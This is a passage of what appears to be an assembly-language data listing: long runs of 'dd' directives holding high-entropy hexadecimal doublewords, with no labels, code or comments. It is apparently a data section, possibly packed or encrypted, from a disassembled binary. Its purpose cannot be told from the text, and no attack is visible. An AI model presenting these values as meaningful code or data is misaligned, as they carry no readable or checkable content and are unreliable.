0EC0A896Eh, 55EE13D6h, 685FDCDh, 2CF130EFh dd 0B33F53F6h, 5BD913C6h, 492B1F2h, 0CE71EDh, 1425BF57h dd 59507B49h, 5C25B392h, 0AB030CFCh, 774FC0Eh, 0A211070Ch dd 5A5EC279h, 916017Eh, 0AB6065FFh, 63E90402h, 0B04ACCE3h dd 0BD335ECDh, 2ECD845Bh, 0F97BB7A3h, 0AEC2642Eh, 78F5FCF4h dd 3154972Eh, 0D639F153h, 5589E724h, 73207358h, 406512A5h dd 19B50327h, 9B2C361h, 2DD0F700h, 0F369000Ch, 7B1C0D4Eh dd 50119F5h, 0C416A1E6h, 0C87AC389h, 0DCB9C272h, 0BF67DD02h dd 38A5E13Eh, 0EA44C175h, 4798A01Eh, 1E04C3A9h, 1F0F77B0h dd 8A5275DEh, 0EC680951h, 587F543Eh, 3EA0C501h, 0F8835B7Fh dd 7AA6E3A7h, 407C4C3Dh, 0A9519770h, 0E298105Bh, 98EC5A2Fh dd 75C774B1h, 8B0B7BBDh, 0EC058607h, 0A7F30551h, 0FF3A0A6Fh dd 0CB14B406h, 0C100A3A3h, 0EC4D75C3h, 0F4D99728h, 0F4300159h dd 32312C8Dh, 1968D886h, 0DD25064Ah, 52A14300h, 9F316E36h dd 5CE8FF79h, 7FC83762h, 84F5698h, 0CAFC5C95h, 3AB542EBh dd 0BFEA14D7h, 2D810B60h, 0C00596C1h, 4F382726h, 2537410h dd 0A012EDBBh, 3F8B5A10h, 0FD512808h, 527C8B28h, 0E90B0C44h dd 9BAB2B68h, 2C817F7Ch, 5D405A69h, 9D23E0FCh, 0D4954FE6h dd 0B36885C8h, 9667A967h, 0CDBD62FEh, 5C277670h, 8E7F48D2h dd 0BE0F88F6h, 8F14C879h, 78310112h, 36985632h, 0D65D459h dd 3F10909Fh, 0D14800DAh, 1A6438E6h, 6AB35D58h, 24A3C410h dd 0BC087488h, 89C681BEh, 3E40202Ah, 0D6722309h, 20E8EA0h dd 58D30Bh, 4DB296A0h, 0F618513Ch, 0A85AC298h, 4ADEB2ECh dd 89E0ADFDh, 5F85CCB1h, 685460A2h, 95C41605h, 5604CDC1h dd 7544BA55h, 0CE900736h, 2DD3AEEFh, 0EBFCECF8h, 78477C92h dd 0A0725552h, 6205FC40h, 67693F0Dh, 4AC17A3Bh, 0FA04F5D4h dd 0B68C202h, 0E424EC7Ah, 2506E030h, 0C9DBD131h, 13CA010Ch dd 54575C59h, 37B9E34h, 0EC3638F5h, 26F5C1B7h, 0B0A82B01h dd 56A81FD6h, 0C951509Ch, 25D35F1Ch, 0BDF494DFh, 7E2704E4h dd 0ADFB47F5h, 893C21FEh, 79394D7Ah, 23EF6F94h, 0E966FBA0h dd 0A1AB4D49h, 0FAB1A4DBh, 273AEC1Ch, 0F9F62DC1h, 1EC7D79h dd 4CD190F2h, 0BFA57AABh, 0EEEA3BD8h, 1DFB2D64h, 33A251A0h dd 0F1FC3731h, 0CA571F0Bh, 7483D02Ah, 43162620h, 907264Ah dd 0A0F029EFh, 6E02EB35h, 68517B47h, 21A04CC0h, 0E1810059h dd 0A5C151Ah, 44633CE9h, 0F7C80924h, 0A55EAA82h, 0EB09E1DCh dd 8A25204Dh, 0F412A948h, 32456409h, 972AF35Ch, 74C486F8h dd 4C85A611h, 5EF3C6BCh dd 19EB0112h, 57E96E92h, 0CB1D9DFCh, 1A5313D3h, 5C3D801h dd 0E6BF5736h, 840204Ch, 86D27E9h, 700946E5h, 341CF542h dd 4F98565Bh, 72A32CE9h, 49D04166h, 4305C8FBh, 296C7518h dd 2D7F5730h, 165E769Dh, 0CE814607h, 14624931h, 14FDEC20h dd 0F957D94Bh, 0D217A004h, 1F99A047h, 926DD12h, 8AFEEC12h dd 29A700B6h, 25E969E0h, 0BA98D23Eh, 0D05BB1CAh, 70B2E9BAh dd 89165D9Ah, 57F15DEEh, 2F731440h, 1970F3FDh, 376D009Ah dd 0E9D12976h, 71BFE41Ch, 0D9C9CF9Ah, 0DA5FAB25h, 160048E7h dd 0D62C4880h, 31424E8Eh, 3C10ABE3h, 5F3AC198h, 94282937h dd 1E845ECBh, 0B55100F8h, 90C5FE9Bh, 0FC7B48F0h, 0BA5A5484h dd 0E98393B3h, 673BEDC7h, 0FF2292E3h, 267B46F7h, 0A709B8FCh dd 9CC75C74h, 63A77D9h, 131D158h, 728C9CF1h, 5D6CDF8Bh dd 0D4A19A66h, 78D7EC74h, 0BACB00BFh, 48656DF4h, 0A117DCB2h dd 17C2EC7Eh, 463813BDh, 9ED78283h, 0E6FB10Ch, 0EA12A749h dd 324F2ECBh, 75749B4Fh, 1966C62Dh, 2103E868h, 3E7335FBh dd 68B076A9h, 0FA764C43h, 0BF8807B6h, 8B581D9Bh, 0B857C596h dd 2568564Ah, 98597C9Dh, 45C23293h, 0A757C021h, 0F97782ECh dd 0D5845202h, 0DE590BADh, 0CADA9E5Ch, 0A22278h, 7039940Dh dd 992C6817h, 8FC02A4Bh, 9536673Ch, 730000DAh, 2D53F278h dd 7DD5F4FDh, 64C14BA9h, 0A79AAAD0h, 32044627h, 6F60EE5Eh dd 0E3FFFE34h, 0EE129700h, 1EB9025Eh, 139F613h, 0E6D159A6h dd 81F12346h, 65D4E58h, 3CE253Bh, 5638C5CFh, 0C41C9CBEh dd 0B9A88313h, 0FAFA54Dh, 0EB236A05h, 9AAF066h, 6DDD36ADh dd 173BFDFCh, 0A64A036Fh, 0EB3408C3h, 1A4FC708h, 6C608BBBh dd 8D9093C3h, 5A6B1720h, 47438766h, 3C686150h, 0ABC87B2Ah dd 2C549420h, 0A8B85A84h, 8080F0A5h, 517803EFh, 52FC8850h dd 0C077E69Ah, 9515E932h, 0FABF7A80h, 3A60557Ch, 68328250h dd 31FC9518h, 13678439h, 1A97B29h, 1D2BCF03h, 30004A2Ah dd 22E3ABD6h, 2FE9F929h, 891213EBh, 56A6E780h, 6813378Eh dd 59E35E6Fh, 0B9DDB170h, 7267420Bh, 854F42Eh, 494F9626h dd 0A959E5E8h, 57C87105h, 81BE5F50h, 64304DB8h, 63FCC7F7h dd 5D798612h, 0C25394AAh, 3559829Fh, 0F0CBEEA6h, 0E4C32C74h dd 99EE406Bh, 5771FE15h, 66FDBF04h, 9EA5F8Bh, 0E0FD0827h dd 13C9878h, 70EFE381h, 0C64B7B48h, 0FC60F1CAh, 0DD0C190Ch dd 54DF210Bh, 7C7A0CEFh, 0E2E0FC5Ch, 7BFA4B02h, 0D54E1BE9h dd 0CA28AF67h, 0F2CC7497h, 148901F4h, 4A0310BAh, 5EDD054Fh dd 0BF5BDE29h, 0B0BCE94h, 0BFDD959h, 0C0F00EE9h, 914A50B5h dd 0D44E4C5Bh, 3E143A18h, 82225D4h, 0DD290542h, 2F0AED01h dd 0CBA23FAh, 0A2C06D1Ch, 4DD36C01h, 13F82E9h, 311F5167h dd 3BEE4BF5h, 4AC6AC2Eh, 0F72C0C16h, 0DD029AD5h, 80527910h dd 0BCF28882h, 0CD2124F5h, 2AE23AD4h, 0B5CB4826h, 4162E9C8h dd 17B0A276h, 0D70CEEEh, 0E04CD697h, 1E146605h, 0BD192490h dd 0F8022965h, 94078FF2h, 1A1D5211h, 0DD70432Eh, 51534702h dd 2ED163C1h, 0C9308A2Dh, 57EF4E37h, 0B664243Bh, 1A68C27Bh dd 8DE35176h, 7E7415EDh, 1C087612h, 80368F87h, 762AD49h dd 0E92B01D7h, 77C2E228h, 50C94751h, 7B082C08h, 785B715Fh dd 453FB13Ch, 68E01184h, 1365E2AEh, 78AA0144h, 0A968E96Dh dd 2703E53Fh, 0D93D8A1Fh, 494869A6h, 0A3435F53h, 62F478B7h dd 422F4E16h, 2200BBCh, 5F384B0Eh, 2E42DE7Ch, 60178520h dd 2DDD45B7h, 79C8D4D3h, 4BB9CBB8h, 1786A402h, 3CE0473h dd 0C176F780h, 0EF3C32D2h, 92E7A9D6h, 0D01DAEEh, 1D5E5FE9h dd 2211D8h, 0BE5618D5h, 76263CF6h, 3804D4F9h, 0E97EDD05h dd 0C698A24Bh, 0B3EF4B5Bh, 569D1705h, 962062C9h, 2728F26Dh dd 12D22143h, 0B928C0B0h, 0A07E499Fh, 5F514D14h, 16B8244Ah dd 0C191C3A7h, 0B26FB31Ah, 0E2EB8833h, 54C240E9h, 0F2F02564h dd 0BBF4F441h, 969E9FEEh, 6996D197h, 0E9C91857h, 53C15C87h dd 1722F85h, 826AF640h, 1743EC44h, 0BE4034B6h, 5A9CF727h dd 0CC5A87Bh, 0DE18AF2Dh, 66A124E9h, 74C58132h, 20593410h dd 604BFDC0h, 98BD2224h, 6DCC68C2h, 9525E5D5h, 36149201h dd 1DDEBDA2h, 0F4C82DDCh, 47C4208Fh, 98602E34h, 3B17BC09h dd 8A09CF29h, 26FCE6F8h, 1998D8F7h, 2A0FAE5Ch, 0F802D7ADh dd 971E266h, 0A681998h, 809C395Dh, 77A46681h, 886E26E9h dd 37B34118h, 0D8897BE0h, 0A2FD56FCh, 5094FFD1h, 0B4EB5FCh dd 625AE982h, 0B3A47F48h, 8932A25Eh, 44B90050h, 55872C0h dd 3FBBA005h, 47B88Dh, 0E0685653h, 3B279077h, 2E85515Eh dd 0B720334h, 2A6237A3h, 40EA12C0h, 790C7520h, 84F70F08h dd 31255755h, 0E47B25FDh, 504D81Fh, 220326D4h, 0D4020A83h dd 4E2DCBEAh, 68A1D2B8h, 0DE597CB3h, 0C21B021Ah, 76187840h dd 5F162457h, 82E682FDh, 0C155EEC0h, 0C6E4C353h, 91E924A9h dd 5FB78FE8h, 0D020CFA0h, 74B8C0E7h, 342D51FEh, 7206DE01h dd 0B09BE6FFh, 10120519h, 0D401745Fh, 74081761h, 9DBCD073h dd 0E6BD0127h, 3387A45Ah, 0F56503FCh, 45E93D0Dh, 0D312E2Ch dd 0BE9B007Bh, 378F17EBh, 3FD9894Ah, 12681320h, 0F03B2930h dd 0B703B01Ch, 12E98D47h, 0AEB285A4h, 0FCC280C0h, 276EAC0h dd 12C95DE6h, 0EBB70243h, 6354078Fh, 8A5B107Eh, 39234780h dd 51075875h, 9206327h, 206551AEh, 9AFA013Eh, 0D0D1F976h dd 8137FCC3h, 0DCDD7029h, 9F153958h, 6C672B44h, 7BC081FBh dd 4826915h, 579717C4h, 66531B8h, 12E1C006h, 275BB537h dd 0CD8029BCh, 1745422Dh, 16DDF72Eh, 5C373C3Fh, 90D917F1h dd 897130AAh, 1C4A0C35h, 8650F48Ah, 0C130177Ah, 2F448B5Ah dd 5E0F0BF0h, 0A0DDE408h, 892E5ACFh, 3C1814C5h, 5C9BE28h dd 297F236Dh, 7BEB21F7h, 9EEE7240h, 1628DFCCh, 62821F2Dh dd 0E0D4E732h, 81635347h, 0F1C7015Ch, 31F604Ch, 2EF57A50h dd 1BED836Bh, 504BB595h, 6CAECD55h, 429550FCh, 172A44C3h dd 4E9D41E9h, 0BD54D3CAh, 3FE6D63Fh, 2A1FF66h, 1EDE63BFh dd 2D92DDB3h, 465D804Ch, 0E52880C0h, 99586663h, 87FC0131h dd 56D2F7D6h, 919C8852h, 585F0B65h, 55D380FDh, 9D67FE1Ch dd 8803F52h, 6F9E14E9h, 0BCC1290Fh, 0D50927AEh, 47C9C81Eh dd 0D6015840h, 0C11B88E4h, 0CC19F10Bh, 65E89161h, 0FE681E34h dd 40E6B579h, 0E2F827Fh, 7B63F62Dh, 1E577510h, 47F2BF00h dd 0C7811585h, 48053C90h, 64236820h, 0BC54A5CCh, 575162F2h dd 72DE7540h, 0DC454427h, 0DFF7091Ah, 749D9980h, 0B496396Bh dd 9D4E902h, 88C65F01h, 98582727h, 0B953D9E4h, 0BD7A431h dd 167F4446h, 62CF113h, 8572ED4Bh, 0C5942888h, 540CA81h dd 50F899E4h, 9F58B9F7h, 118B485Bh, 8064F00Dh, 262682B9h dd 80337773h, 359BCC70h, 5C5BA2E9h, 8A01A62Ch, 0E120A4DDh dd 294E68ACh, 0C7923AB9h, 0A4097D7Ch, 7625FB56h, 9367C231h dd 3C7FC920h, 0B7795863h, 0FF158F05h, 0DA00AF6Eh, 665124EFh dd 9A529069h, 0EC203C32h, 12C0599Dh, 653EE808h, 57B2651Eh dd 0F2636185h, 10604840h, 0A04A6862h, 2F4B6CF8h, 713AEDD1h dd 4804AE67h, 0B37D767Ch, 0F75D7CAAh, 0F6D012DDh, 64E1EB21h dd 36FD6800h, 2DBC2091h, 0C2ED76E5h, 0AF940CC8h, 50EB0100h dd 0B126DEB8h, 0F7911C7Fh dd 3F25C0D1h, 5676C2Dh, 2562FF3Ch, 0F79C404Eh, 0AA97A1D0h dd 900145D8h, 62F80940h, 62F5844Ch, 422A5437h, 53D122C9h dd 3C0E0C44h, 0BB4F381Ch, 0C26ED929h, 70729D71h, 23541009h dd 9AF30051h, 5F50953Eh, 1FFC429h, 4BE95F08h, 0F14B65E3h dd 2A8AE1FFh, 6BC6F240h, 0A88E560Ch, 0BF1BC9C0h, 0F49858E6h dd 0A7A41991h, 4B191F02h, 61FEE258h, 0F1100302h, 8C9874EBh dd 2E298C97h, 5E08F223h, 41EFA944h, 0F20C2108h, 18AB5F09h dd 5428B0F7h, 0E8015B22h, 1D9EA189h, 0BE093692h, 3E3177C0h dd 493D7E08h, 50217ABh, 634C4394h, 9662B6C0h, 52C68880h dd 0B1C1B858h, 8DB050D0h, 1AD913A2h, 93A7BD3Bh, 4A12F6B2h dd 2D14EDFCh, 4B0650F2h, 0B22700A4h, 2E2C038h, 2086534Ch dd 0FEE92F7Ah, 0FD884EA3h, 595DEE92h, 0EC804159h, 8206809Dh dd 0E952F428h, 983A5C2Bh, 0E8970BDEh, 716FB8DDh, 0E9079E03h dd 0BC9520F5h, 0C121551Ch, 0BA52A10Ch, 0AE78202Ch, 35A88082h dd 0F6128E11h, 3BBC4815h, 0C72CAA96h, 17D12468h, 64DDC4A4h dd 0F35F6BA6h, 20DB4CB2h, 0EB801C2Bh, 8CDC1E8Eh, 0ECDD1308h dd 39685D81h, 43DBF709h, 3A2D56C3h, 50D94819h, 99747013h dd 4BB00BE7h, 50082431h, 3E11BF8Fh, 0C2774224h, 0CF4C3003h dd 334C2029h, 8913014Fh, 48FDC0Bh, 72943E8Bh, 68A006F8h dd 18BF480Ah, 0A8E1EEDEh, 2765B03Bh, 19DEC308h, 0A8E9C704h dd 0F85BE3ACh, 7EA081B6h, 0C8DB6F85h, 4A7F9D22h, 0C10A801Fh dd 0CBF806EBh, 82609A0Ch, 90081259h, 0A5EA4E5Bh, 836D68F3h dd 5896F0h, 4769F248h, 0F189516Eh, 62B821E5h, 0E801C5BBh dd 883E9799h, 1600D5FCh, 3A2D64F5h, 0EA122449h, 0D0CD0D97h dd 2CD00152h, 8833C871h, 85282059h, 5EBACE38h, 0AFF5FD29h dd 0EBA4856Eh, 0EF54868Bh, 0B859536Eh, 0D2106258h, 1070483Ah dd 680935E4h, 0B27503DEh, 1B657574h, 0BCFFBAFh, 0FC6011E9h dd 9F0FED81h, 6A70DC40h, 8D375E12h, 71859292h, 33FB2362h dd 0A0C763FCh, 68C32914h, 45B3197Fh, 0D177E080h, 48F7587Fh dd 815D7D8h, 0E600FDCFh, 14685502h, 0B898DCAAh, 0BA52FC27h dd 0CDC77582h, 240A1A0h, 65460CBFh, 7F263CE7h, 44747A0Eh dd 64BBD383h, 0A0C3849Fh, 33B83123h, 0D1C9CDF6h, 54917E50h dd 5ACBEB06h, 0B0C7094h, 3E982944h, 802B9CAh, 968EADE9h dd 58E62801h, 0CE872A59h, 0EC800A34h, 9FC6E9C9h, 82AC3985h dd 46756CC6h, 0BE42412h, 0E5FDC2D7h, 478E4F7Eh, 627F8BDBh dd 8E98573Fh, 56120368h, 13045BBBh, 2D8AB9BAh, 0D807FB4Bh dd 63084B0Ch, 104BDC3Bh, 0D947F6C0h, 0C3FDF335h, 0D84BE23Fh dd 27157EFAh, 0DA40113Ch, 0EEC4359Eh, 0C1EF425Fh, 0D350EA6Bh dd 19FAEABEh, 689A119Fh, 0F36E75CDh, 98E9A098h, 0FAFBB42Ch dd 12ADF27Dh, 564276E9h, 0A205978Ah, 879A36DBh, 856B68D7h dd 0E6479DE5h, 4B57E25h, 0E9BBC5E9h, 3F235709h, 0D39AD4C7h dd 2E4C434Ch, 311E0E05h, 0BE38DB52h, 0C5150426h, 0E37CE90Dh dd 93178EEh, 7989B354h, 4B5CD6Eh, 288BFE9Ah, 4E70E85Ah dd 13EF0B2Ch, 0B00F993Ch, 500E853h, 6A3EF835h, 4A17E96Ch dd 2E8F2972h, 2A5EFC04h, 12D22CD5h, 2759D4D1h, 5552AED1h dd 9B212EC4h, 96F5A769h, 6AC8174h, 72688E4Ch, 6234948Bh dd 45FD5A4Ch, 0B1A20CAFh, 8909C381h, 6A3F256Dh, 0E90801DCh dd 26895126h, 61DF5A5Bh, 0D06EF2C1h, 92BF575Dh, 5E044C26h dd 1EDBE700h, 5AE94AC1h, 0E9CC1794h, 0D72218A8h, 26B7C26Fh dd 0B8E6E7Ch, 107FE46Bh, 0C9EB5F6Ch, 0EC87460Eh, 1BA917D2h dd 4FF59C5Fh, 4538AA29h, 1B69633h, 0F8F97DBFh, 0DEE260E0h dd 328C5813h, 0B96C4AAh, 948B5B08h, 0D268AE21h, 0CD386A0Bh dd 1E716C6h, 0D6530A3Ch, 0D099178Ch, 6E6A0DD3h, 30B82FFDh dd 610ACD00h, 0DEE95801h, 85305358h, 69A515BCh, 2FB7F13Fh dd 0C4E1BBA8h, 9DF26A6Dh, 123FEC92h, 0CA567868h, 4EEE2FABh dd 0B31744AFh, 0D30500E3h, 4B732D7Ah, 85D1025Ah, 0BA005289h dd 0AA17497h, 5B2BE919h, 71D90273h, 91E2159Eh, 0FCC330C1h dd 6602B77Ah, 90E9DF89h, 1CBC8B29h, 697C2FE1h, 133D5ADBh dd 9C3437EFh, 0D3D0F6EAh, 0FE9AAD0h, 0C0189F29h, 0B7804B5Ah dd 0EF8006E2h, 4DFF65Fh, 7A7AF7EEh, 517CC717h, 3ECEC7E0h dd 0EE8F5B59h, 52F2E9E8h, 0B2F1049Ch, 0ADBE00E5h, 0BD12676Eh dd 6685AAA0h, 0F0EB6DF1h, 0E2BDC84Ch, 45F064h, 2C5AD788h dd 4F82814h, 0FF16F9E9h, 15F21C4Bh, 56E2407Dh, 31FEBE00h dd 83BD716Fh, 860E1258h, 60705229h, 5E535F4Dh, 0D55F367Eh dd 1ED6B61h, 0E995F014h, 0EEE58D25h, 0D1D8B720h, 0E740F9FCh dd 3842268Fh, 4A6F1005h, 0C181E7C1h, 247EAB2Dh, 83ECF948h dd 0E7DC2DD8h, 4AE2AE93h, 599DDD70h, 96BE42A7h, 0AFAF395Eh dd 10BB66DBh, 4DE50F17h, 2B67876h, 0E732B4B6h, 5DEA2FC0h dd 272F519Fh, 4864B6DDh, 40749752h, 90EBADFh, 920AEA4Ch dd 0E17C0BFEh, 0B22CC9D6h, 138BB887h, 0D9536553h, 0D292F02Eh dd 2C1FE229h, 82B217E7h, 0CB495CF2h, 3EB443F9h, 68095FFCh dd 0B9A452Ch, 9F48C87Fh, 6EE2B7Dh, 1CAC32D0h, 2C25BB58h dd 2A1A5D49h, 5160547Eh, 0B862B353h, 0E9710861h, 0BB01F856h dd 78BC2595h, 17F2037Ah, 0C0414C6h, 5C4EA5ABh, 0B0BA82FEh dd 0C10BB1F6h, 407E58E2h, 5B9F5A53h, 0A8E5B439h, 10E9F127h dd 5EEF0B3Ah, 0C200DA97h, 12A7741Bh, 79680153h, 5B58B93Ch dd 0C825DC57h, 5FD39A02h, 0DAA315E9h, 0E51E2029h, 0C6BC3AF9h dd 2F97B1B4h, 0DABE0D0Bh, 40CCBD61h, 63FEE880h, 0FBF5A0E1h dd 0A9356830h, 4A6DF78Fh, 3B53B1ECh, 4FE9C7A0h, 0B112C065h dd 563A04BDh, 0AF8EA651h, 5E260710h, 959149ADh, 276468B4h dd 2D905D5Dh, 7C9E4D1Bh, 0B1EDE8Eh, 58185A70h, 4725215Fh dd 0C7263B5Ah, 0D212FC86h, 0AC4A53F8h, 9BD05B95h, 1E741F78h dd 0BBD556Ah, 9804F250h, 2580BFE5h, 0BC7453Ah, 34E3E974h dd 2783A2E8h, 2F6FA42Ch, 0D3E2963Eh, 5A30C390h, 0A8435BCDh dd 0D4A05EF8h, 6338189Fh, 2A71963Eh, 0C07F5481h, 41160243h dd 8305583Ah, 0E9A7BEEAh, 89B2D4DFh, 0B517BA62h, 3F4AA0E8h dd 29244282h, 94C309B5h, 4140B039h, 0E674882Dh, 1BB100C3h dd 5266C9FEh, 52CA1A1h, 60559662h, 24321D75h, 20D549Ch dd 69E34F79h, 74C6E05Dh, 6231300Fh, 19148A0Ch, 0F21A3360h dd 14355D96h, 0F4D58929h, 5CDA4075h, 7A705C97h, 0BEF4336Ah dd 0E02BE2h, 559CB31h, 0F66A8102h, 54D82956h, 68BF50B2h dd 727E6303h, 27F396E9h, 0EF80093Ah, 65E13F6h, 0AF2F327Eh dd 1E5E4DBEh, 41DE5ECh, 0E954C430h, 1232709h, 6E7F31F7h dd 0E7F6C135h, 0A472492h, 8BE7388Fh, 0F4D93999h, 877B14BFh dd 3DD1A595h, 450D651Ah, 2B9CFE1Fh, 0D97704ABh, 49440164h dd 7755AC1h, 1A5E4FF2h, 910BFB71h, 6CC4ED51h, 0CFF71FEFh dd 9B2588CAh, 0C2F1004Ch, 0A144A378h, 506E927h, 49BA3030h dd 0E766F985h, 1F42B722h, 0C29C1BEDh, 5DEB290Dh, 70F960DDh dd 0B8065A47h, 0B8921730h, 0CB010304h, 6513B6F6h, 0D68A6256h dd 0D0BD9CC9h, 0E485E20h, 8177756h, 17FC112Ch, 353F8C19h dd 56297EEFh, 3DA1D047h, 0D2600D59h, 0C5C4967Bh, 5928B017h dd 0BE5FD1FEh, 0A55E0660h, 0F2E5E728h, 1524D1D9h, 0B5422C52h dd 11A809CAh, 0BD8918D5h dd 0DF08AAE0h, 0BB20EF44h, 701295DEh, 0AEBF4F84h, 10563874h dd 25C00BBAh, 0D1807E2Fh, 4066BB10h, 0BBD0F724h, 6BAA8204h dd 24E9F8E0h, 0C00B1EA3h, 1D727805h, 854BAB7h, 0C602A40Ch dd 0F42D9540h, 160810B6h, 3DB5860h, 0C466E75Eh, 6803FDFEh dd 0EB101B3Eh, 571F06CDh, 385B0156h, 2F5E7428h, 7343EE07h dd 0B5F558DCh, 0F71A360Ch, 2E6BA63Fh, 6C251B2Bh, 3D25B677h dd 8181081h, 6B0C875Dh, 32A61B6h, 4D3DA1B8h, 3264B6CCh dd 59E64C29h, 14969290h, 1754308h, 90CC87Ch, 0A3A938E9h dd 90178D84h, 2D4E684Eh, 0DBED189Dh, 0E78180F5h, 861DAB0Eh dd 3BCFC30Dh, 5647C94Dh, 7FB4320h, 0F71AB307h, 0D525DDh dd 0C3786EC1h, 6590092Ah, 0CDD17024h, 0B7D90FC9h, 2656FF1h dd 0BE6A3C7Fh, 5B8DCA4Ah, 953DE6E2h, 5D6B09F4h, 0E372DFB8h dd 3A056680h, 291D3551h, 0E2DD8F8h, 75AC6E9h, 0D601E892h dd 0EE8100C1h, 0E45A8ABEh, 130989B8h, 554C4E16h, 5081328h dd 0A006FCE9h, 5390E519h, 0B73FEC20h, 0B6FF5D3h, 2CC4218h dd 0C6F62780h, 5EB3FC59h, 7EF49D0Bh, 0EECA3656h, 7A3D625Fh dd 562802F4h, 711174B5h, 0D5123A26h, 0E9F185E8h, 5F232CC8h dd 0D8D28DE2h, 444EA281h, 19582E31h, 0B2100932h, 0BBB58DCh dd 0FC886BB1h, 63261Bh, 0D6F6CEFEh, 504990E9h, 7911173Ah dd 0FF3276BBh, 5627A193h, 8B3E5844h, 5A580AC7h, 387F8820h dd 91AB95Bh, 9EEE81A6h, 7DA02F84h, 57825350h, 25BE1471h dd 0D2D67A66h, 74F41430h, 69163605h, 293EA5Fh, 4468885Dh dd 0AE1B319h, 28B058A0h, 5ACC0E94h, 0EFC00E76h, 1C610395h dd 56FDC4C1h, 18804EC0h, 126C981Eh, 374BE1E9h, 464C57A3h dd 0CE86B03Ah, 0C524BB53h, 27FB0139h, 0E3E4760Bh, 0AFB5AC68h dd 6A631A71h, 5F71F607h, 8A65BE90h, 0C504310Ah, 20FFFB63h dd 2EF9FCF8h, 335FE9F7h, 80921F8h, 8000DBC3h, 0CBFE90EBh dd 5E31FC0h, 5EA73FF6h, 1C7ABC8h, 0FD7D2430h, 4451737h dd 47D7F798h, 766CD757h, 0E9300BD1h, 0C92D9FF2h, 568A2D5Dh dd 74383D70h, 71957014h, 5AFC6F32h, 7B5D0AA8h, 0E883C273h dd 0D90820E0h, 0B4515380h, 0E27D52C7h, 0A83B6388h, 4F1FE9CFh dd 250D8EC2h, 0A5C0794Ch, 30538819h, 4C0EC852h, 6CE97F1Eh dd 0B7191Fh, 0C0EFD0C4h, 0CF8007E7h, 0C7040A73h, 0BE1AE93Eh dd 0E0E91FDDh, 354C006Ah, 7E101451h, 0C87B3EEAh, 4BA1315Eh dd 3D804A45h, 25E9134Ch, 0BBDA2AB9h, 9F488275h, 2BC90242h dd 400FD719h, 27BF7B28h, 20FFEFDFh, 916A2AA5h, 5A78FC27h dd 24DDF3FDh, 5EA71DCAh, 0CB059C39h, 910002EDh, 69F1347Dh dd 813D1CDEh, 3C19BA21h, 7330EA09h, 0D39C8366h, 51C50222h dd 0E90B0995h, 6BC61439h, 0F005A4Fh, 43080FBEh, 5B85033h dd 28F04A29h, 6879533Fh, 0FF2F98A4h, 97DB9CA8h, 0B970BE5Ah dd 20481978h, 136B3D76h, 0FA075CE6h, 51646576h, 88450AFh dd 2584E24Ah, 0D7B142DFh, 54A1701Ch, 0BF0405h, 96B85041h dd 7F7C945Ah, 231CA20Ch, 9C28A484h, 1E37A6AAh, 1B9F84F2h dd 200802CEh, 4D1B40A0h, 3E5D8143h, 1D9AB6B0h, 40506344h dd 2B46483Ah, 2246855h, 336F5F70h, 4C3301BAh, 8041B21Ch dd 0B43FB84h, 16F12D10h, 6BBBD08h, 0C4495875h, 80251CECh dd 39B4DEA2h, 520560DAh, 54096768h, 775A07D2h, 94DB787h dd 9B0C450Ch, 99708512h, 4BB815E0h, 9FBEE3A2h, 9A23E889h dd 7BAC7A4Ch, 807F9E75h, 5A3C4E64h, 2A90EA87h, 0EF5847A2h dd 58B6294Ch, 0AFC34086h, 9E07E34Dh, 5FA0695Dh, 0B5A5BC57h dd 72FEA0B4h, 30C179C9h, 0BF761912h, 2771529Fh, 2D0B6EB8h dd 803EAC4Ch, 0A15F70CFh, 0B5009D29h, 0E26A36EFh, 5FF534Ah dd 8DE348EDh, 0E9A83A93h, 81919ADEh, 0CF4F00F5h, 631C2544h dd 1904A62h, 0E76039D2h, 8C2D3660h, 16F9C420h, 0BC6F6C2Ch dd 548501C6h, 0FE294291h, 8014821h, 983F095Fh, 870935D9h dd 7D6FFB67h, 6AD706E1h, 805ACE01h, 0B16E18F3h, 0D3C630F5h dd 0E916C8ECh, 0AB911B96h, 6AD0CDA0h, 5E5B7D51h, 0BA0582EEh dd 0FA7237C6h, 590D3248h, 525EC44Bh, 0E97230AEh, 35C9E840h dd 531387C5h, 1BFC395h, 6F6B822Ah, 87B12B08h, 4067DF08h dd 144E6813h, 71AA0E85h, 74F6E967h, 1F76B75Ch, 3D9AD74Ch dd 0E1DFAC8Dh, 1EF7F90Ch, 2883BE52h, 0E4D77A22h, 79462568h dd 0F380F5F1h, 0D141C778h, 0F5813BEDh, 20E3BC82h, 0BBECEF01h dd 13133ED2h, 73586E82h, 0FDA438B0h, 110093Ch, 0C15AA27Eh dd 0BA00A12Bh, 0A73D52FBh, 826D2756h, 0D5C53150h, 684269Eh dd 791F2D00h, 0CD055D3Ch, 94E3D28h, 0F5618A04h, 1EC2BE25h dd 27345E3Ah, 6EE02AD6h, 806C5F26h, 1F5F73D2h, 1768DAA0h dd 0AAF9C04Dh, 0D02C6529h, 16D2DAD3h, 14B8CDE9h, 0B0EF2E50h dd 29F73E63h, 0FB579412h, 0F681E220h, 0A6180A6Dh, 89CC567Dh dd 0CBD5575Eh, 9768B83Ch, 0A157C66Bh, 0B9360AD0h, 4AE264Ah dd 951744E1h, 0EC8B63h, 0FB48A568h, 28E95A3Eh, 0B58321BBh dd 55344006h, 0D69BF227h, 0F344C54Eh, 76CA04BCh, 5BA1199h dd 0CBFA8756h, 0CE364A4Bh, 1EE39522h, 106467A0h, 7CABEAA1h dd 0D15CDA82h, 0A238C281h, 1E0F25ECh, 0A9092548h, 0BB8127E6h dd 75527DA2h, 6B073AE1h, 404E6BC5h, 0E74EE450h, 4101E6BEh dd 0F6F07039h, 4CE2D65Bh, 5AF7A84Fh, 0EF257CE2h, 0A488EE0Bh dd 6655E952h, 58189012h, 0FA0283B9h, 530CE93Ch, 0DA4E1B5Dh dd 66BF0083h, 0D42FADAAh, 2C87A01h, 25A64D2Bh, 0FEA5574Fh dd 3FBDC25Fh, 97C3B800h, 0EBA04A62h, 0E283E50Bh, 7DF15519h dd 684106C8h, 0F27F7C17h, 0EC42C428h, 0C7C4AB16h, 34618BFEh dd 0B7806B02h, 1F735894h, 5BFA894Ch, 55973CE1h, 0BDA35653h dd 8F2DC060h, 9D314276h, 7043E42h, 7198BA5Eh, 5B968A0Fh dd 0E95CC79Eh, 0F14B3C22h, 0DFBD6BD6h, 0F184E890h, 0FDCCBBFEh dd 455EB5FDh, 1EE201AFh, 0B52022A5h, 63AEB641h, 0A54A7BE9h dd 46DB15E8h, 0B66A41C7h, 642C6B60h, 72D86915h, 6FDA8F0Bh dd 40FCF880h, 312453B0h, 422554FBh, 719D545Bh, 31163B50h dd 9F0F01EBh, 0F01BB260h, 0F1B5FACAh, 